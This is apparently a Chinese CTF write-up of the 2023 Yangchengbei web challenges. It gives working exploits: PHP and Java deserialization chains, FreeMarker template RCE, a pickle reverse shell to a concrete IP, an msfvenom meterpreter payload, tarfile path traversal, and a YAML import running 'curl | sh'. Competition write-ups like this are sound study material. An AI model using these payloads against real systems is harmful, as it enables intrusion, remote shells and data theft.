羊城杯2023
羊城杯2023
没附件,只能看wp了
D0n’t pl4y g4m3!!!
直接跳转了,一直在玩前端。。。。(主要是扫目录也没扫出hint.zip)
/hint.zip
有尊嘟假嘟解密
/tmp/catcatf1ag.txt
p0p.php有跳转,看php版本想到php源代码泄露
<?php
class Pro{
private $exp;
private $rce2;
public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["CTF"];
if(isset($a)){
unserialize(prohib($a));
}
?>
sb了,一直在想两个__get
要怎么用,直接赋值就完事了
$aa=new Bei();
$aa->CTF=new Yang();
$aa->CTF->finish->finish=true;
$aa->fine=new Yang();
$aa->fine->key=true;
$aa->rce='tac /tmp/catcatf1ag.txt';
$aa->rce1='tac /tmp/catcatf1ag.txt';
$aa->fine->finish->finish=true;
$aa->fine->now=array('YCB1'=>'syssystemtem'); //双写绕过即可
$b=serialize($aa);
echo $b;
Ez_java
BadAttributeValueExpException::readObject -> Map::toString -> HtmlInvocationHandler::invoke -> HtmlMap::get -> HtmlUploadUtil::uploadfile
public HtmlInvocationHandler(Map obj) {this.obj = obj}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object result = this.obj.get(method.getName());
return result;
}
public Object get(Object key) {
try {
Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
return obj;
} catch (Exception var4) {
throw new RuntimeException(var4);
}
}
public static boolean uploadfile(String filename, String content) {
if (filename != null && !filename.endsWith(".ftl")) {
return false;
} else {
String realPath = "/app/templates/" + filename;
if (!realPath.contains("../") && !realPath.contains("..\\")) {
try {
BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
writer.write(content);
writer.close();
return true;
} catch (IOException var4) {
System.err.println("Error uploading file: " + var4.getMessage());
return false;
}
} else {
return false;
}
}
}
上传的文件必须是.ftl
后缀结尾的文件
HtmlMap中存在freemaker
模板注入,能够上传覆盖index.ftl
文件
#author Boogipop
package com.ycbjava;
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class exp {
public static void main(String[] args) throws Exception {
HtmlMap htmlMap = new HtmlMap();
setFieldValue(htmlMap,"content","<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}");
setFieldValue(htmlMap,"filename","index.ftl");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler(htmlMap);
//生成动态代理
Map mapproxy= (Map) Proxy.newProxyInstance(HtmlMap.class.getClassLoader(),new Class[]{Map.class},htmlInvocationHandler);
//生成最外层
Object o = annotationconstructor.newInstance(Override.class, mapproxy);
//deserTester(o);
System.out.println(base64serial(o));
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void deserTester(Object o) throws Exception {
base64deserial(base64serial(o));
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void base64deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
CC1后半的动态代理触发htmlinvocationhanddler。然后就是get写文件覆盖index.ftl,payload参考https://www.cnblogs.com/escape-w/p/17326592.html
唉,boogipop太强了
ez_web
上传的文件其实是到了/etc目录下,于是可以用LD_PRRLOAD
环境变量的配置文件ld.so.preload
进行劫持
Linux 操作系统的动态链接库在加载过程中,动态链接器会先读取 LD_PRELOAD 环境变量和默认配置文件
/etc/ld.so.preload
,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和/etc/ld.so.preload
配置文件中指定的动态链接库依然会被装载,因为它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入
用msf生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=vps的ip LPORT=1000 -f elf-so -o evil.elf
在自己vps 起msfconsole
use payload/linux/x64/meterpreter/reverse_tcp
#展示相关信息
show options
#设置反弹接受shell的主机ip 这里设置成本机
set lhost 0.0.0.0
#监听ip 这里当时生成木马时端口是多少 就要设置成多少
set lport 1000
#开始执行利用
exploit
进行监听
然后msf执行任意命令即可劫持 (不懂没了解过)
Serpent
from flask import Flask, session
import base64
@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
解密session,发现secret_key,然后伪造成admin
{'Attribute': {'admin': 1, 'name': 'GWHT', 'secret_key': 'GWHTESEeGQMqmz'}}
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]
@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
return rsp
class GWHT():
def __init__(self):
pass
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
按照大佬们的说法,经过测试发现过滤R指令
from flask import Flask, session
import base64
opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"'
o.'''
print(base64.b64encode(opcode)
反弹成功后,权限不够,进行提权,python3.8能够提权
python3.8 -c "import os;os.execl('/bin/sh','sh','-p')"
ArkNights
都是非预期
/read?file=/proc/1/environ
预期
- 从内存中通过偏移量读取secretkey 伪造session (/proc/self/maps /proc/self/mem)
- python黑魔法去污染os.path.pardir (变量覆盖,修改os.path.pardir不为
..
即可目录穿越) - 路径穿越读flag
ezyaml
# 创建 Flask 应用实例
app = Flask(__name__)
# 定义 WAF(Web Application Firewall)函数,用于检查输入是否包含恶意关键词
def waf(s):
flag = True
blacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']
for no in blacklist:
if no.lower() in str(s).lower():
flag = False
print(no)
break
return flag
# 定义提取文件的函数
def extractFile(filepath, type):
extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()
# 定义根路由和视图函数,用于显示主页
@app.route('/', methods=['GET'])
def main():
fn = 'uploads/' + md5().hexdigest()
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')
# 定义上传文件的路由和视图函数
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
upFile = request.files['file']
print(upFile)
# 检查文件名是否包含恶意字符,如 ".." 或 "/"
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath)
# 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表
if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"
# 定义查看源代码的路由和视图函数
@app.route('/src', methods=['GET'])
def src():
if request.args:
username = request.args.get('username')
with open(f'config/{username}.yaml', 'rb') as f:
Config = yaml.load(f.read())
return render_template('admin.html', username="admin", message="success")
else:
return render_template('index.html')
# 启动 Flask 应用,监听在 0.0.0.0:8000
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
虽然过滤了..
或/
tarfile文件覆盖漏洞(CVE-2007-4559)
Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的..和/遍历目录 和 写入/覆盖任意文件
tar的zipslip文件覆盖
import os
import tarfile
def zipslip(tarinfo):
tarinfo.uid = tarinfo.gid = 1000
tarinfo.uname = tarinfo.gname = "poc"
return tarinfo
tar = tarfile.open("poc.tar","w|")
fullpath = os.path.join("../../","config/1.yaml")
tar.add(fullpath,filter=zipslip)
tar.close()
apply不是在黑名单里面吗?
另一种做法是上传文件
!!python/module:uploads.17.py
17.py文件内容
import os
os.system('curl https://your-shell.com/120.46.41.173:9023 |sh')
reference
2023年“羊城杯”网络安全大赛 Web方向题解wp 全_羊城杯wp-CSDN博客
https://boogipop.com/2023/09/05/%E7%BE%8A%E5%9F%8E%E6%9D%AF%202023%20Writeup/